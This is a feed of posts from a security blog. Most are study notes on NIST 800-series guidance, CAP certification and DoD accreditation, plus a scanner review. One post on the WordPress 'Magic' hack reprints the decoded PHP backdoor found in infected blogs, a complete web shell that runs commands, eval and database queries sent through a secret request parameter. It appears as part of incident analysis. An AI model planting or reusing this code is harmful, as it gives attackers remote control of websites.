elamb » information assurance

Training and Certification: 800-66 – HIPPA

elamb.security — Tue, 09 Aug 2011 07:30:34 +0000

Guidance for Health Insurance Portability and Accountability Act (HIPPA)

NIST Special Publication 800-66 offers guidance for HIPPA. HIPPA is broken up into (5) different Titles:
Title 1) Healthcare accessibility, portability and renewability
Title 2) Healthcare Fraud and abuse prevention; Healthcare Liability; Administrative Simplicity
Title 3) Tax-related healthcare provisions
Title 4) Group Health plan
Title 5) Revenue Offset

The focus of NIST SP 800-66 is Title 2 Administrative Simplification, HIPPA Security Rule. The HIPPA Security Rule is broken into Electronic Data Interchange (code set, identifiers, transactions), Privacy, Security.
Security includes all efforts to protect the confidentiality, integrity & availability of electronic protected health information (EPHI). HIPPA Security is applicable to covered entities. Covered entities include: Covered Healthcare providers, health plans, Healthcare Clearinghouses, and Medicare prescription drug card sponsors.

This involves physical, administrative, technical safeguards, organizational requirements, policy, procedure and documentation requirements. The controls are used to meet these controls are required or addressable.

Physical security safeguards: all security controls needed to physically protect electronic protection health information (EPHI) and resources. These controls reduce physical access to the EPHI systems and their resources by isolating and limiting and locking areas in which the resources housing EPHI is located.
Administrative safeguards: administrative controls include documentation, procedures that reflect the security of systems containing EPHI.
Technical safeguards: technical security features that protect EPHI. This includes access control lists, least functionality on ports, protocols & services and other logical protection mechanisms over a network.
Organizational requirements: organizational requirements include policies, standards and guidelines that the organization must adhere to. This may include federal, state law and healthcare best practice.
Policy, procedure and documentation requirements: physical, administrative, technical controls are captured in documentation to establish a baseline, have consistency and act as a blueprint for future employees and/or managers.

Training and Certification: NIST SP 800-39 Manage Information Security Risk

elamb.security — Thu, 04 Aug 2011 22:13:05 +0000

NIST SP 800-39, Manage Information Security Risk

NIST 800-39 is a federal document that talks about risk management of information system and their security. It is cited as one of the sources for the ISC2 Certified Authorization Professional (CAP) certification. For study of the document go to Chapters 2 and 3 of 800-39. Chapter 2 talks about the fundamentals of risk management & chapter 3 breaks down the process of applying risk management across and organization.

The Fundamentals of Risk Management (Chapter 2, 800-39)
800-39 goes into the philosophy (or “the why”) and the how of managing information security at multiple levels (or multitier risk management approach). The three layers (or tiers) of risk management addressed in the 800-39 are:
Tier 1: Organization level
Tier 2: Mission/Business Process level
Tier 3: Information System level

Tier 1: Organization Level risk management
Tier one addresses security from the organizations perspective. The activities include the implementation of the first component of risk management, risk framing. Risk framing provides context of all the risk activities within an organization, which affects the risk activities of tier 1 & 2. The output of risk framing is Risk Management Strategy. In tier 1 the organization establishes and implements governance structure that are in compliance with laws, regulations and policies. Tier 1 activities include establishment of the Risk Executive Function, establishment of the risk management strategy and determination of the risk tolerance.

Tier 2: Mission/Business Process Level risk management

Tier 2 risk management activities include: 1) defining the mission/business processes to support the organization. 2) Prioritize the mission/business process with respect to the long term goals of the organization. 3) Define the type of information needed to successfully execute the mission/business processes, criticality/sensitivity of the information and the information flows both internal and external of the information.

Having a risk-aware process is an important part of tier 2. To be risk-aware senior leaders/executives need to know: 1) types of threat sources and threat events that could have an adverse affect the ability of the organizations 2) the potential adverse impacts on the organizational operations and assets, individuals, the Nation if confidentiality, integrity, availability is compromised 3) the organization’s resilience to such an attack that can be achieved with a given mission/business process

Tier 3: Information System risk management

From the information system perspective, tier 3 addresses the following tasks:
1) Categorization of the information system
2) Allocating the organizational security control
3) Selection, implementation, assessment, authorization, and ongoing

Chapter 3 focuses on the step to have a comprehensive risk management program. The tasks discussed include:
Risk Framing
Risk Assessing
Risk Response
Risk Monitoring

Risk Framing
Risk framing are the assumptions, constraints, risk tolerance and priorities that shape an organization’s managing risk. Risk framing is created based on organizational governance structure, how much money is available, regulations imposed, environment, culture and trust relationships.
In order to “frame” risk (or get an organizational context of the risk) the organization must determine: Risk assumptions, risk constraints, risk tolerance and priorities/trade-offs

Risk Assumptions
Risk assumption has to do determining how to risk will be assessed for an organization. Assumptions are based on identification of threats, vulnerabilities, the impact to the organization if attacks are successful and likelihood of attacks.

Risk Constraints
Risk constraints have to do with accepted limits of risk assessments, risk monitoring & risk response. Those limitation might be financial, cultural, the need to rely on legacy systems, or regulations imposed on the organization.

Risk Tolerance
Risk tolerance is how much risk the organization is willing to take.
Priorities/Tradeoffs
Risk is experienced at different levels, in different forms, and in different time frames. At Tier
1, organizations make trade-offs among and establish priorities for responding to such risks. Organizations tend to have multiple priorities that at times conflict, which generates potential risk. Approaches employed by organizations for managing portfolios of risks reflect organizational culture, risk tolerance, as well as risk-related assumptions and constraints. These approaches are typically embodied in the strategic plans, policies, and roadmaps of organizations which may indicate preferences for different forms of risk response. For example, organizations may be willing to accept short-term risk of slightly degraded operations to achieve long-term reduction in information security risk.
However, this trade-off could be unacceptable for one particularly critical mission/business function (e.g., real-time requirements in many industrial/process control systems). For that high-priority area, a different approach to improving security may be required including the application of compensating security controls.

Risk Assessment
Risk assessment is threat & vulnerability identification and risk determination. Organizaitonal risk framing is a prerequisite to risk assessments, because methods of risk assessment must be established by the contexts of the organizations risk.

Risk Response
Risk response identifies, evaluates, decides on, and implements appropriate courses of action to
accept, avoid, mitigate, share, or transfer risk to organizational operations and assets, individuals,
other organizations, and the Nation, resulting from the operation and use of information systems.
Risk identification is key to risk response. Risk types include:
Risk accept- is the appropriate risk response when the identified risk is within the organizational risk tolerance. Organizations can accept risk deemed to be low, moderate, or high depending on particular situations or conditions.

Risk avoidance- Organizations may conduct certain types of activities or employ certain types of information technologies that result in risk that is unacceptable. In such situations, risk avoidance involves taking specific actions to eliminate the activities or technologies that are the basis for the risk or to revise or reposition these activities or technologies in the organizational mission/business processes to avoid the potential for unacceptable risk.

Risk mitigation-adding management, technical, administrative safeguards to minimize identified risks to the system.
Risk share & transfer- Risk sharing or risk transfer is the appropriate risk response when organizations desire and have the means to shift risk liability and responsibility to other organizations. Risk transfer shifts the entire risk responsibility or liability from one organization to another organization (e.g., using insurance to transfer risk from particular organizations to insurance
companies).

Risk Monitoring – Risk changes with each modification of the system. It’s important to monitor the changes of the risk of a system. Changes to threats can also change risk.

Training & Certification: CAP – Security Authorization of Federal Information Systems

elamb.security — Tue, 02 Aug 2011 21:29:45 +0000

Understanding the Security Authorization of federal information systems

The ISC2 CAP candidate needs to understand the multitier approach to evaluating strategic & tactical risk across an organization/enterprise. This is discussed thoroughly in NIST SP 800-39, Managing Information Security Risk. 800-39 explains risk management from the organization, mission, and system perspective.

800-39 explains how and organization does risk framing by making risk assumptions, knowing risk constraints, risk tolerance, priorities & tradeoffs. Implementation of an organization’s risk management strategy is also based it’s governance structure.

Security Authorization is a risk management process that based on identification of threats, vulnerabilities and countermeasures. 800-39 and 800-37 explains what must be included in a risk assessments that will evaluated residual risks and determine if they are acceptable or unacceptable to the organization as whole. Unacceptable risks can be reduced by implementing security controls.

Understanding the Security Authorization of federal information systems covers the following key areas:

Understand the Risk Management Approach to Security Authorization
Understanding and distinguishing among the Risk Management Framework (RMF) steps
Define and Understand Roles & Responsibilities
Understand the Relationship between the RMF and SDLC
Understand Legal, Regulatory, and Other Requirements for Security Authorization
Understand Common Controls and Security Control Inheritance
Understand Ongoing Monitoring Strategies
Understand How the Security Authorization Process Relates to:

1. Organization-wide risk management
2. System Development Life Cycle (SDLC)
3. Information system boundaries
4. Authorization decisions

Training and Certification: certified authorization professional (1)

elamb.security — Sun, 31 Jul 2011 21:10:18 +0000

The Certified Authorization Professional (CAP) is a certification that indicates a professional level of knowledge/skill on the subject of federal information system authorization (formerly certification & accreditation). In the US federal government, “Authorization” to operate a federally owned information system is a formal acceptance of risk from an Authorization Officer (AO). An AO is a high ranking official granted the authority to make major risk related decisions for an entire branch/or unit within a federal organization. The AO accepts or rejects the risks that information systems poses to his or her organization based on the recommendations of a security control assessors audit and accompanied Security Authorization Package.

The CAP is based almost entirely on federal information security/protection laws, National Institute of Standards & Technology (NIST), and Office of Management & Budget regulations.

There are seven domains the CAP exam focuses on:
1. Understanding the Security Authorization of Information Systems
2. Categorize Information Systems
3. Establish the Security Control Baseline
4. Apply Security Controls
5. Assess Security Controls
6. Authorize Information System
7. Monitor Security Controls

NIST 800: DoD Risk Management Framework

elamb.security — Fri, 15 Jul 2011 04:08:24 +0000

There are a couple defense policy reflecting the DoD’s move to NIST 800 standards: Defense Acquisition Regulation Supplement (DFARS 2011-D039) & CJCSI 6510.01, Information Assurance and Support to Computer Network Defense

Defense Acquisition Regulation Supplement (DFARS 2011-D039)
Defense contractors will have to meet the NIST Special Publication 800-53 security controls. Most large defense contractor have already started meeting defense controls for DIACAP (which are very similar to NIST 800 controls).
more info @ firegovernment IT

CJCSI 6510.01, Information Assurance and Support to Computer Network Defense
The new 6510.01F replaces the old 6510.01E. The document refers to changes in the name of the Information Assurance Manager (IAM) to Information System Security Manager (ISSM) and the Information Assurance Officer (IAO) to Information System Security Officer (ISSO). The name Designated Accreditation Authority (DAA) is changed to Authorizing Official (AO). The former DIACAP term “certification” is changed to 800-37 term “assessment”.

Updates titles for Designated Accrediting Authority (DAA) to Authorizing Official; Information Assurance Manager (lAM) to Information Systems Security Manager (ISSM); and Information Assurance Officer (IAO) to Information Systems Security Officer (ISSO) to align with CNSSI No. 4009 (reference e) terms. Replaces term certification with assessment and accreditation with authorization (to operate) in alignment with CNSSI No. 4009 (reference e) terminology. The new terms are followed by legacy terms in parentheses throughout instruction.

The document also refers to the coming changes to DoD 8500 policies. The changes will focus on NIST 800:

Select security controls lAW DODI 8500.2 (reference g). Note: The next update to DODI 8500.2 (reference g) and DODI 8510.01 (reference i) will direct DOD IS categorization and security control selection lAW CNSSI No. 1253, “Security Categorization and Control Selection for National Security Systems” (reference ill) with additional specific guidance on the DIACAP Knowledge Service. DODI 8500.2 (reference g) and DODI 8510.01 (reference i) will also direct the use of security controls in NIST SP 800-53, “Recommended Security Controls for Federal Information Systems and Organizations” (reference kkk) with supporting validation procedures in NIST SP 800-53A, “Guide for Assessing the Security Controls in Federal Information Systems and Organizations” (reference 111), and additional DOD guidance published in the DIACAP Knowledge Service.

The ultimate goal will be to move away from “Certification & Accreditation” and to a Risk Management Framework” as in NIST SP 800-37:

NIST 800-37 SP, “Guide for Applying the Risk Management Framework to Federal Information Systems” (reference mmmmm), provides guidelines for applying the Risk Management Framework to include conducting the activities of security categorization, security control selection and implementation, security control assessment, information system authorization, and security control monitoring.

When does a DoD Information System require a re-accreditation

elamb.security — Fri, 25 Feb 2011 01:08:03 +0000

How do you determine when a DoD Information System should have a full re-accreditation?

We are not talking about the obvious:
-3 year expiration
-completely new version and/or overhaul of a system

We are talking about a single client on within an Information System getting an upgraded operating systems, or a firewall being upgraded or the addition of 4 Cisco internetworking devices and a VLAN change.

How do we know what is a basic sustaiment change, a configuration management changed (approved by the Configuration Board members) or a full blown 100,000 dollar re-accreditation.

You would think there was some kind of matrix that could match up modifications to a DoD IS with what actions must be performed. If there is one, I have not seen it.

All we have is high level regs that tell us IA Workforce peons (who must deal with details, schedules and limited funds) almost nothing we don’t already know.

Assessing the IA Impact & Maintaining Situational Awareness:
DoD 8500.2, Information Assurance gives us IA Controls such as
DCII-1, dealing with IA Impact Assessment. Its states, “Changes to the DoD information system are assessed for IA and accreditation impact prior to implementation.” The DoD instruction also tells us the we are supposed conduct comprehensive annual reviews of our systems process, procedures and IA Control status.

How are we supposed to monitor “Changes to the DoD information system?

We know that we are supposed monitor all DoD IS’s to keep track of the baseline. And according to the regs, we are supposed to do this by a configuration management process (DCPR-1, CM Process). That configuration management process is supposed to have a “configuration control board that implements procedures to ensure a security review and approval of all proposed DoD information system changes, to include interconnections to other DoD information systems.”

So Configuration Management gives us oversight on changes to DoD IS but who within the CM process determines whether changes to a system should have a re-accreditation?
IA Control DCCB-2, Control Board tells us that” all information systems are under the control of a chartered Configuration Control Board that meets regularly according to DCPR-1.” Is also tells us that the Information Assurance Manager (IAM) is a member of the CCB.

From my interpretation of these high level statements, the IAM is the subject matter expert who has a lot of say so on the IA impact of modifications to a given DoD IS.

But the question remains.. HOW DO WE KNOW WHAT NECESSITATES A RE-ACCREDITATION?

I did not find anything for that in 8500.2 so I moved on to CJCSI 6510.01, but it only says the same things that 8500.2 says (Configuration Management, CCB, having a baseline). But it did say this:

“Ensure a configuration management (CM) process is implemented and establish appropriate levels of configuration management to maintain the accredited security posture. The security impact of each change or modification to an information system or site configuration will be assessed against the security requirements and the accreditation conditions issued by the DAA..”

Still pretty high level, but we are getting closer since the instruction is telling us: “..security impact of each change or modification to an information system or site configuration will be assessed against the security requirements and the accreditation conditions issued by the DAA“.

I thought that the only way to get more insight is to look at the lower level regulations within specific branches. Air Force’s Certification & Accreditation Program, 33-210, for example talks specifically about reaccreditation. It states, Information system owner (ISO) “Alerts AFNetOps of any changes to the topology or software affecting the security posture of the enclave boundaries so that the gateway package can be reaccredited if necessary. (3.8.6.6.4.)” And in table 3.2. it states “PM/SM/ISO will enter information in EITDR, host an initial stakeholder meeting, and initial security review to determine if a new version is to be created.” It mentions different reaccreditation actions for Networked and Standalone systems. Its goes on say that “if changes will not affect the security posture of the IS, the PM/SM/ISO will annotate the outcome of the meeting and make necessary edits to the C&A package.”

The Army’s AR 25-2, Information Assurance regulation, has an entire section on Accrediation & Reaccreditation (5-5), but offers still no specifics. The Army does have AR 380-19, AIS Information System Security and it is pretty specific (see excerpt below).. but it is now OBSOLETE and replaced by AR 25-5.

All regulation and instructions are inline as far as the need to reaccredit if there is an IA IMPACT, but no specifics on what constitues an “IA Impact”. 8510, DIACAP mentions that the IA posture of an IS must remain acceptable, in order to retain its Authorization to Operate (ATO). If I were the IAM for a day.. I would hang my hat of this important statement.

We have to work with what we have!!
Based on what we have:
Changes in a DoD IS’s IA Controls determine whether or not a system will need a reaccrediation. There is no specifics on what can force a reaccrediation. So we must conclude that there is no “magic bullet” that will instantly create the need for a reaccreditation. In other words, no modifications to a certain hardware or software or certain subsystems or even the changes to network architecture will be the reason for reaccreditation every single time.

Significant changes to IA Controls are the only thing we can really put our finger on.

So lets say that IA Control, DCCS-2, Configuration Specification was changed on an Information System. This IA Control deals with making sure the all IA Enabled and IA Products have the DISA Security Technical Implementation Guides (or equivalent) applied. Maybe an example will help us understand the process of determining reaccreditation: A DoD Information System Owner requests the addition of four new storage devices to the system enclave. Lets say, that these storage devices will have an adverse affect on the security posture of the overall system because they are not in compliance with DCAS-2, Acquisition Standards… so the storage devices have not gone through NSA/Common Criteria. Additionally the storage devices will not be compliant with DCCS which means they will not have security in accordance with DISA/NSA checklists and guidance.

Prior to being implemented or even tested the request for this change should go through the configuration management process where the IAM will tell the Program Manager and System Owner (or is representative) the security impact to the over all system. He or she would have to explain to them that the change may affect the current ATO, because they will now be non-compliant on two (possibly more controls) that were previously compliant. The IAM would also be wise to get in contact with other subject matter experts such as the system administrator and/or IAO would be in charge of implementing and testing the system. The IAM might also contact the Certifying Authority (or representative) to determine if such a change would create the need for a reaccreditation.

One thing the IAM does NOT want to do is simply sign the Program Managers and System Owners up for some changes to the system that would jeapordise the Authorization to Operate. The IAM should do their homework and present the real risk of the modifications to the system owner. CYA is paramount.

Once the IAM determine the impact, and the modification are made:
According to DoD 8500.2, 5.8.5. “ensure that IA-related events or configuration changes that may impact accreditation are reported to affected parties, such as Information Owners and DAAs of interconnected DoD information systems.”

Some older regulations are more specific. AR 380-19, AIS System Security for example:
3-6. Reaccreditation

a. All AIS, except those designated as nonsensitive, will be formally reaccredited within 3 months after any of the following occurs:

(1) Addition or replacement of a mainframe or significant part of a major system.

(2) A change in sensitivity designation (para 2-2a).

(3) A change in security mode of operation (para 2-2b).

(4) A significant change to the operating system or executive software.

(5) A breach of security, violation of system integrity, or unusual situation that appears to invalidate the accreditation.

(6) A significant change to the physical structure housing the AIS that affects the physical security described in the accreditation.

(7) Three years has elapsed since the effective date of the existing accreditation.

b. Reaccreditation will include the same steps accomplished for the original accreditation; however, those portions of the documentation that are still valid need not be redone.

AR 380-19 has been replaced with AR 25-5 which is pretty high level.

UPDATED IA STUFF + Procrastination

elamb.security — Wed, 27 Jan 2010 07:13:40 +0000

My greatest skill is procrastination. I really am the best, most skilled procrastinator I know. It takes all of my will power to stay consistent with anything, including this blog, which is why (among other things) I am not banking like Darren Rowse or Steve Pav, two of my favorite bloggers.

YOU SEE, I am such a good procrastinator that I JUST procrastinated on getting to the REAL subject of this article, security, IA updates.

A fellow IA Analyst wrote me with questions that got right to the heart of IA… change.

She asked about AFI 33-202.
And I said:

Right as I felt I had mastered the contents of 33-202, the airforce moved to 33-210 (to replace all its C&A stuff). I believe 33-202 is now obsolete and replaced with 33-200 & 33-202 and others.. last time I was with the AF, anyway.

What about IT LEAN?
I said:

As for IT Lean, you can find that on AF Knowledge Now site and I think they have links to it on EITDR. If you are interested in IT Lean you’ll be REALLY interested in 33-210:
33-210

But if you are working with the Air Force and want more on the IT LEAN process you should be digging into AFCAP, Air Force Certification & Accreditation Program, an AF version of IT Lean.

CNSS 1253:
A lot of people also ask me to send them a copy of the CNSSI 12-53. But it is actually OUT. Its the CNSSI 1253. I, personally, have not had any clear direction (currently NO direction) on how to start moving some of the CNSSI to the systems I work on. I suspect that the Govt. will start this within the next couple of years and start phasing out DIACAP.. but who the hell knows what a bureaucracy of their size will do next!

Lastly, my fellow IA Analyst asked me about EITDR
and I said:

You’ll find the EITDR POCs on the Air Force Portal or Knowledge Now. Log on to the Air Force Portal (if you don’t have an account get one.. you may have to get sponsor by the Govt to get it). Once on the AF Portal search for EITDR and they’ll have tons of stuff on it. Waaaaay more stuff than you want to read. You’ll also find the person you need to start the EITDR process with.

Server at Magic Requires Username Password

elamb.security — Sat, 08 Aug 2009 05:32:08 +0000

The WordPress “Magic” hack!

If your getting this message: “The server (our server domain, e.g. DOMAIN.COM) at Magic” Then you likely have infected code in your wordpress blog.

Wordpress Magic Attack

WordPress user Yokima reported this very slick hack.

FIX ACTION:
And the fix is to update your blog. This will fix the issue. Make sure you change your password if you actually put your information in that “serve at Magic” message box. Although updating the the wordpress blog definitely fixes the issue, you may have to reload your pluggins too because they may also have some infect code. Doing further research on this matter.

From RocketWood:
We noticed that the code injected into the files was run through an eval and a decode so we decoded the string and found this php code:

{


if (!function_exists('______safeshell'))
{
function ______safeshell($komut) {
@ini_restore("safe_mode");
@ini_restore("open_basedir");
$disable_functions = array_map('trim', explode(',', ini_get('disable_functions')));
if (!empty ($komut)) {
if (function_exists('passthru') && !in_array('passthru', $disable_functions)) {
//@ ob_start();
@ passthru($komut);
//$res = @ ob_get_contents();
//@ ob_end_clean();
}
elseif (function_exists('system') && !in_array('system', $disable_functions)) {
//@ ob_start();
@ system($komut);
//$res = @ ob_get_contents();
//@ ob_end_clean();
}
elseif (function_exists('shell_exec') && !in_array('shell_exec', $disable_functions)) {
$res = @ shell_exec($komut);
echo $res;
}
elseif (function_exists('exec') && !in_array('exec', $disable_functions)) {
@ exec($komut, $res);
$res = join("\n", $res);
echo $res, "\n";
}
elseif (@ is_resource($f = @ popen($komut, "r"))) {
//$res = "";
while (!@ feof($f)) {
//$res .= @ fread($f, 1024);
echo(@ fread($f, 1024));
}
@ pclose($f);
}
else
{
$res = {$komut};
echo $res;
}
}
}
};
if (isset ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'])) {
echo "
\n";
if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'eval') {
eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
}
else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'exec') {
______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
}
else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'query') {
$result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd'], $wpdb->dbh);
if (!$result)
{
echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_FAILED: ", mysql_error($wpdb->dbh), "\n";
die();
}
else if (is_resource($result))
{
$res = array();
while ($row = mysql_fetch_assoc($result))
{
$res[] = $row;
};
mysql_free_result($result);
echo serialize($res);
die();
}
else
{
echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_SUCCEEDED: ", mysql_affected_rows($wbdb->dbh), " rows affected\n";
die();
}
};
echo "\n\n";
die();
};

};

p.s: don’t feel too bad, even the security masters get hacked by malicious S.O.B’s.

GFI LANGuard – Review

elamb.security — Sat, 08 Aug 2009 03:47:38 +0000

I was given the honor of reviewing GFI LANguard network and security scanner. Right off the bat I notice that the interface is very intuitive & easy to use, which is important to a busy security professional that have better things to do with their time than fight with a messy
security tool.

The network scanning tool I normally use is called Retina.
When lining the two up, I have to say Retina is much more powerful, with many more options built in. It can drill way down and do intrusive scans where GFI LANguard v.9 is pretty vanilla. It gives you what you need and that is it.

The simplicity could be an advantage to a system admin doing a security job, because it really is straight to the point. The cost is definitely and advantage. GFI LANguard is about Â½ the cost of the Retina Scan tool.

Retina Professional Edition 16 IP Pack – $995.00

GFI LAN Guard goes for about 300+ for 10 licences.

Nessus is considered one of the best network scan tools but its more expensive then both.

What I really like about Retina is that it allows you to scan in accordance with Department of Defense standards, SAN, and others. Languard does look at the SANS Top 20 report vulnerabilities.

If your looking for basic, down to Earth network & security scanner for your small to medium business needs, than GFI Languard is definitely the way to go because you will not beat the cost for the quality and support you get. Its going to give you a thorough assessment of the your systems and even tell you how to fix them. Buy this product!

DIACAP Essentials + IA Control Validation Training (part 4): DIACAP/AFCAP Day 4 & 5

elamb.security — Fri, 03 Jul 2009 05:21:11 +0000

Days 4 & 5 bring the DIACAP/AFCAP Essentials Class to a close. The
biggest things I learned were: CNSSI 4009 is the the official glossary of DOD IA, there is a big difference between theory, policy and practice, Agents of the Certifying Authority (ACA) are official validators and there is a difference between acquisition Mission criticality and IA MAC levels.

Stuff I learned from people in the class:

-AFCA is changing its name (to what?)

DOD is going to put the new IA controls in NCSSI 12-53 (currently in draft)

-a lot of what I need in there is in NIST 800-53

Marines use something called Exacta

Site called securitycritics.org

33-202 is now completely irrelevant and obsolete (not even mentioned ONCE in the class)

800-30

Feds call Certification &Accreditation (C&A) â€œSecurity authorizationâ€

NIST SP 800-37

Day 4:

Validator Activities & Issue Accreditation Decision

Prepare POA&M

Validate Results/Scorecard

Scorecard

Make certification determination

CA/DAA Package review

Day 5:

Validation procedures were discussed. On day five, we looked at how the validators look at a system.

I thought is was interesting. It should help me get through the EITDR/DIACAP process easier.

Maintain Situational Awareness

Maintain IA Posture

Conduct Review

R-Accreditation

Retire system